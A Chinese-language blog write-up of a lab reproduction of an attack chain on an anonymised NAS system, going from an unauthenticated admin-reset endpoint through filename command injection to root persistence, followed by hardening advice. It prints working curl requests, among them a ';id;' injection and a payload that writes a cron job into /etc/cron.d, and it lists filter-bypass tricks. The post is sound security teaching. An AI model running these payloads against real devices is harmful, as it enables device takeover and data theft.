☰
NAS系统认证绕过到远程命令执行:漏洞链路分析与加固实践
2026/10/16 18:05:17 网站建设 项目流程

朋友扔过来一个漏洞标题:“某系统 远程代码执行链:认证绕过”。说实话,这类标题这几年并不算新鲜,但我把整条链路完整复现完之后,还是有点意外——从认证态失控到系统层命令执行,中间几乎没有遇到像样的防御,整个利用链顺畅得不像一个面向生产环境的系统。这篇东西基于我在虚拟靶场环境里的复现记录,把认证绕过从根因分析、漏洞链路拆解、实操复现到加固方案完整写一遍,过程尽量讲透,末尾会补上我在排查和修复阶段踩过的一些坑。

先说清楚,本文所有请求和代码均来自本地模拟环境,接口路径、参数名都做了脱敏处理,目的是让思路可复用,不是提供一份“拿来即用”的攻击脚本。安全研究的价值在于理解边界和逻辑,而不是背 payload。

1. 项目背景:这个“认证绕过”到底绕过了什么

1.1 先说清楚:NAS 为什么是攻击者的“甜点”

NAS(网络附加存储)这类设备在家庭和企业里的角色很特殊。它常年开机、暴露在局域网或公网、存储了大量高价值数据,但大多数管理员对它安全状态的关注远低于对“备份是否成功”的关注。更麻烦的是,NAS 系统往往集成了文件管理、应用中心、媒体服务、远程访问等多种功能,代码量越大,攻击面就越大。

这次分析的 S 系统(某自研 NAS,下同)就是典型代表。登录入口在 Web 端,后端跑了好几个常驻服务,有文件管理、应用商店、系统设置、日志导出等模块。单看表面,登录页面做了密码输入限制、验证码、失败次数锁定,防护做得像模像样。但认证绕过的问题从来不在“登录框”这层,而在登录之后整个信任链的薄弱环节。

1.2 分析范围与免责声明

我强调一遍:本文讨论的是教学场景下的漏洞模式,不是针对任何具体产品的攻击指引。整个分析围绕三条主线展开:

  • 认证机制中哪些位置容易出现“信任盲区”
  • 盲区如何被组合成一条从“未登录”到“远程命令执行”的完整链路
  • 修复时应该用什么样的设计思路替代“打补丁式”防御

如果你只是听说过“认证绕过”这个词,想搞清楚它到底怎么发生的,这篇文章也能当个入门案例来看,不需要你有很深的渗透基础,但至少得知道 HTTP 请求、Cookie、Session 是什么。

2. 漏洞根因拆解:登录链路上的三个“信任盲区”

认证绕过的高发区其实很集中,翻来覆去就是那么几个套路:初始化接口没做状态限制、Session 校验只看“存在性”不看“归属”、鉴权中间件只覆盖了部分路由。S 系统一次性把这三种坑全踩了一遍。

2.1 第一层毛病:初始化接口没有状态闸门

任何设备首次上电都要有个“初始化”流程,比如设置管理员密码、创建存储池。S 系统的后端有一个初始化接口,用于首次部署和“管理员密码重置”场景。

这个接口的逻辑一开始是这样的:

  • 用户进入引导页,前端调用初始化接口提交新密码
  • 后端判断当前系统是否处于“未初始化”状态
  • 如果未初始化,则允许写入管理员密码

听起来合理,问题在于“初始化状态”这个字段存在数据库里,但接口没有对请求来源做校验,也没有处理“系统已经初始化过”的情况。在设计者的理解里,只要前端引导页不展示入口,普通用户就不会调用到这个接口。可惜攻击者从来不看前端页面,他们直接看接口文档或者抓包。

于是攻击者只需要在未登录状态下,向这个接口发送一个合法的重置请求,就能把管理员密码改掉,或者直接让系统回到“待初始化”状态,然后以新管理员身份接管设备。这就是“状态闸门缺失导致的认证绕过”。

2.2 第二层毛病:会话校验只是“查存在”,不查来源

绕过登录之后,攻击者拿到了一个管理员身份的 Session ID。但这里还有个问题:S 系统的 Session 校验函数只检查这个 SID 是否存在于内存表中,不校验它对应的用户是谁、什么时候签发、来源 IP 是什么。

这意味着几件事:

  • Session 一旦签发,除非服务端主动销毁,否则就可以一直用
  • 别人如果拿到了你的 SID,就可以直接冒充你,不需要知道密码
  • 服务端日志里如果意外把 SID 打印出来,这些日志又恰好能被低权限用户读取,就会造成横向泄漏

在复现过程中,我发现 S 系统的文件管理器自带一个“分享链接”功能,它会把文件路径和访问令牌拼在 URL 里。正常流程中,这条 URL 是发给外部协作者的,但系统在生成 URL 时居然顺便把当前用户的 SID 也带进了某些内部 API 的调用参数中。设计本意大概是减少前端存储,结果等于是把会话凭证写在了一个可被分享出去的链接里。

2.3 第三层毛病:鉴权中间件只管了一半

这是最经典的路由级鉴权遗漏。S 系统的后端使用了统一入口框架,理论上可以在框架层加一个全局拦截器,对除登录页之外的所有接口做鉴权。但实际代码里,鉴权拦截器只在“需要登录的模块”上手动注册。

有一个管理模块的接口列表里,部分接口因为历史原因被放在了“公共接口”目录下。开发者觉得“公共接口”就是给未登录用户访问“系统信息、公告、版本号”这类无敏感数据用的,结果里面混进了一个“日志导出”接口。攻击者一旦拿到低权限 Session,甚至在某些情况下绕过第一层认证后,就能直接访问到这个接口,从而把漏洞链往下推进。

三层毛病叠加起来,造成了一个非常尴尬的局面:认证体系看起来到处都是,实际上哪一层都没拦住关键路径。

3. 完整利用链复现:从绕过登录到远程执行

3.1 复现环境准备

复现需要一套隔离实验环境。我这边用的是本地虚拟化方案,一台虚拟机跑 S 系统的系统镜像,另一台虚拟机充当攻击机。网络配置上,两台机器处于同一个隔离网段,模拟“已拿到内网权限”的场景,看起来有点站在巨人肩膀上,但现实中这类设备本来就常暴露在公网。

攻击机上准备的内容:

  • 一个 HTTP 抓包工具,用来观察登录接口和 Session 返回
  • 命令行终端,方便构造原始请求
  • 一份常见的 Web 路径字典,用于定位管理接口(其实从 JS 文件里也能翻出来,S 系统前端的路由配置是明文打包的,算是白送的信息)

环境信息记录一下:目标服务跑在 80 端口,后端管理接口统一挂在/eapi/路径下,前端登录页和静态资源在/根路径。

3.2 第一步:利用初始化接口获取管理员身份

我先抓包看了登录流程。正常登录时,前端把用户名、密码、验证码一起 POST 到/eapi/auth/login,服务端校验通过后返回一个 JSON,里面带session_id。这个流程本身没有太多花活,问题出在另一个接口/eapi/setup/recovery上。

我写了一个简单的 curl 请求去试:

curl -X POST http://192.168.10.10/eapi/setup/recovery \ -H "Content-Type: application/json" \ -d '{"action":"reset","username":"admin","password":"Test123!"}'

返回结果里的关键字段是这样的(脱敏):

{ "code": 0, "message": "ok", "data": { "session_id": "5f4dcc3b5aa765d61d8327deb8811a92" } }

服务端没有检查系统是否已经初始化,直接允许了管理员密码重置,并且顺手签发了一个新的管理员 Session。这一步的意义不在于“重置密码”本身,而在于攻击者拿到了一个合法的管理员会话凭证。

继续验证一下这个 Session 的可用性:

curl -i -X GET http://192.168.10.10/eapi/system/info \ -H "Cookie: SESSID=5f4dcc3b5aa765d61d8327deb8811a92"

返回200 OK,响应体里带出了系统版本、主机名、存储池状态等信息。到这里,认证已经被完全绕过了。

注意:真实环境里你可能碰不到这样“一次调用就能重置管理员”的接口,但思路是一致的——寻找那些应该在特定状态下才能访问、却没有状态约束的接口。比如注册接口、找回密码接口、设备解绑接口、初始化接口,都值得过一遍。

3.3 第二步:借用文件导出功能寻找命令注入点

有了管理员 Session,接下来就是寻找命令执行点。S 系统的后台里有一个“系统日志导出”功能,管理员可以下载近期的操作日志。

抓包看到请求长这样:

POST /eapi/debug/log/export HTTP/1.1 Host: 192.168.10.10 Cookie: SESSID=5f4dcc3b5aa765d61d8327deb8811a92 Content-Type: application/json {"filename":"operation.log"}

服务端收到文件名后,会把它拼到一条tar命令里去执行。正常情况下文件名是固定传入,但这里没有任何过滤,攻击者可以直接往里面塞命令注入的 payload。我在靶场里验证了一下:

curl -X POST http://192.168.10.10/eapi/debug/log/export \ -H "Cookie: SESSID=5f4dcc3b5aa765d61d8327deb8811a92" \ -H "Content-Type: application/json" \ -d '{"filename":"operation.log;id;.log"}'

响应结果里出现了一段用户 ID 输出,说明id命令已经被执行。这是整条漏洞链里最关键的一环——命令注入点。

为什么选择“日志导出”这个功能?坦白说,这是我扫接口扫出来的。对这种系统,我更关注那些看起来“不起眼”的功能,比如日志、备份、恢复、模板导入导出,它们经常需要调用系统命令来完成,而对参数的处理又往往比核心功能粗糙得多。

3.4 第三步:从命令注入到稳定后门

命令注入能不能打,不仅要看命令是否执行,还要看执行环境、输出回显、网络连通性。这一步我做了三个层面的测试:

先确认回显方式。S 系统会把命令的标准输出追加到返回的日志文件里,所以不需要额外的“带外”通道。只要注入的 payload 输出结果,就能直接从下载的日志里读出来。

再测试执行权限。注入whoami,返回root,说明命令是在高权限下执行的。这并不奇怪,很多 NAS 系统的后台服务为了保证能操作存储池,经常以 root 身份运行。

最后看网络层面。既然命令执行在 root 下,建立稳定后门的方式有很多种,常规思路是写一个 WebShell 或反弹 Shell。不过我这里用的是最直接的验证方式:写一个脚本到定时任务目录,脚本内容只是把当前时间追加到一个日志文件。这样做是为了确认持久化路径是否可行,同时避免在实验环境里搞出不可控的外连动作。

curl -X POST http://192.168.10.10/eapi/debug/log/export \ -H "Cookie: SESSID=5f4dcc3b5aa765d61d8327deb8811a92" \ -H "Content-Type: application/json" \ -d '{"filename":"operation.log;echo \"* * * * * root echo pwned >> /tmp/pwn.log\" > /etc/cron.d/pwn;.log"}'

到这一步,攻击者已经实现了:未认证 → 管理员 Session → 命令执行 → 持久化。整条链路没有使用任何 0day 级的内存破坏技巧,纯粹是逻辑错误和配置疏漏的组合拳。

4. 实操中的常见问题与排查实录

复现过程中我遇到了不少“看起来应该成功、实际却翻车”的情况,这些问题在当时很干扰判断,但事后回看,每一处都有明确的解释。

4.1 构造的 Cookie 返回 401,下一秒又 200

第一次复现初始化接口时,我在攻击机上拿到 Session ID 后立刻去访问/eapi/system/info,结果竟然返回 401 Unauthorized。我以为方向错了,回头检查才发现,S 系统对 Session 的存储分了好几个哈希桶,Session ID 里带了一个两位的前缀,表明它属于哪个桶。攻击机上的请求头是因为 Cookie 键名写错了,我一开始用了SESSION_ID,而系统要求的是SESSID。

排查问题时先不要急着怀疑“漏洞不成立”,先确认请求构造是不是和正常登录流程完全一致。把正常的登录请求和攻击请求放在一起逐字对比,是最快的方法。

4.2 明明限制了管理员 IP,还是被绕过了

S 系统的安全配置里有一个“允许管理后台登录的 IP 白名单”功能,按理说只允许特定 IP 访问管理页面。但复现时我发现,这个白名单只作用在 Nginx 层,只对/前缀的路径生效,而/eapi/路径直接转发给了后端服务,不走这条过滤规则。

这是很典型的“边界不一致”问题。安全策略做在网关层,却没覆盖所有路径;后端服务又信任了网关节流,以为自己已经在保护范围内。换句话说,防御措施只在“入口”做了,但真正的资源在“后院”放着,结果入口再严也没用。

4.3 修复后依然被“同一个洞”打穿

在模拟修复过程中,我给初始化接口加了一个状态判断:只有setup_status=0时才允许重置密码。我重新跑了一遍之前的攻击流程,发现确实进不去了。

但随后我换了条思路,直接把数据库里的setup_status字段改回 0(前提是已经通过其他漏洞拿到了一条 SQL 注入点),然后再调用初始化接口,照样可以重置管理员密码。这启发了我一个重要的教训:修复单点漏洞不等于修复了整条链路。攻击者的目标是从 A 点到 B 点,如果 A 点封死了,他们只是换一条路而已。安全设计的核心不是每个点都严防死守,而是让任何一条路径都走不通,也就是“纵深防御”。

4.4 陷阱排查速查表

现象常见原因排查思路
Cookie 带了却不生效Cookie 名字错误 / 作用域不匹配对比正常请求的 Cookie 头,检查 Path、Domain
Session 频繁失效服务端验签了时间戳或签名查看 Session 生成逻辑,确认是否与 IP/UA 绑定
命令注入无回显输出未追加到日志 / 被转义改用 DNS 或延时注入方式盲测,检查拼接符号
接口鉴权看起来有效网关层过滤不彻底尝试路径穿越(/../)、大小写、URL 双重编码
修复后仍能利用状态判断可被绕过检查是否可以通过条件竞争或参数污染绕过

这张表里的内容不算新鲜,但大部分实际案例里,拖垮交付进度的往往就是这些细节。

5. 防御加固:从“打补丁”到“重构信任模型”

5.1 最小权限与默认拒绝

我在复盘这条漏洞链时,最深的一个感受是:S 系统对“内部接口”的信任度太高了。开发者默认只有管理员能看到后台、只有认证用户才能调用 API,所以所有接口都默认可以被信任。

正确的设计应该是“默认拒绝”,在框架层面做到:

  • 除了显式声明为@anonymous的接口(登录页、初始化页、公开信息页),其他接口一律要求认证
  • 认证通过的同时,还要做越权检查,确认当前用户是否有权限调用目标接口
  • 对于初始化、重置密码这类高敏感操作,额外加一个“一次性令牌 + 状态机”校验,避免接口重放

这个原则很朴素,但真正落地的项目不多。

5.2 纵深防御下的接口设计

具体到 S 系统的修复,我从三个层面做了改造:

第一层是网关层。Nginx 里统一拦掉所有未经授权就访问/eapi/的请求,并且加了一条路径归一化规则,避免利用../绕过路径匹配。第二层是框架层。加一个全局鉴权中间件,所有请求先过认证,再进路由,同时在中间件里绑定 Session ID 与登录 IP、User-Agent 的哈希值,防止会话被复制使用。第三层是业务层。初始化接口除了判断状态位,还增加了“随机引导码”校验,引导码在首次部署时生成并展示给物理接触设备的管理员,攻击者没有引导码就无法触发重置。

三层改造做完,我再跑一遍之前脚本,第一层就被 Nginx 挡住了,确实进不去。但这里我要提个醒:这并不代表系统从此安全了。如果攻击者能拿到一份有效 Session(比如通过钓鱼或者读取管理员浏览器 Cookie),所有防护都还能绕过去。安全没有终点,只有持续对抗。

5.3 可落地验证的加固清单

加固项验证方法常见坑
所有接口默认鉴权遍历路由列表,统计未认证可访问接口单纯靠代码 review 容易漏,需要配合接口扫描
初始化接口状态闸门初始化完成后重复调用重置接口只判断状态位不够,要加引导码
Session 绑定来源信息用 A 机器的 SID 从 B 机器访问要留好兼容性,避免正常用户频繁掉线
命令拼接处参数白名单传入;id、$(id)、反引号等测试黑名单过滤永远有漏,直接用白名单
日志脱敏登录后查看日志文件有无敏感字段不要只脱敏 password,Session、Token 也要处理

6. 写在最后:一点个人经验

复现这条链路花了不到半天,真正花时间的是在“为什么能绕过”上。我以前也犯过同样的错误,觉得登录页做得花里胡哨就算安全了,后来才明白,安全是贯穿前后端、网关、数据层的系统性设计,而不是某个登录框的自嗨。

如果你想往安全测试方向走,建议从这类“逻辑漏洞”开始练手,因为它们的复现门槛低、收益明显,而且能逼着你把业务逻辑看透。不要一上来就追求什么高级漏洞利用,先把“信任模型”这件事想明白。

最后再分享一个小技巧:当你面对一个系统不知道怎么入手时,别急着扫端口跑漏洞扫描器,先把前端 JS 文件下载下来看一遍。里面那些接口路径、参数名、状态字段,往往比什么工具都好使——这次 S 系统的大部分接口细节,就是这么来的。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询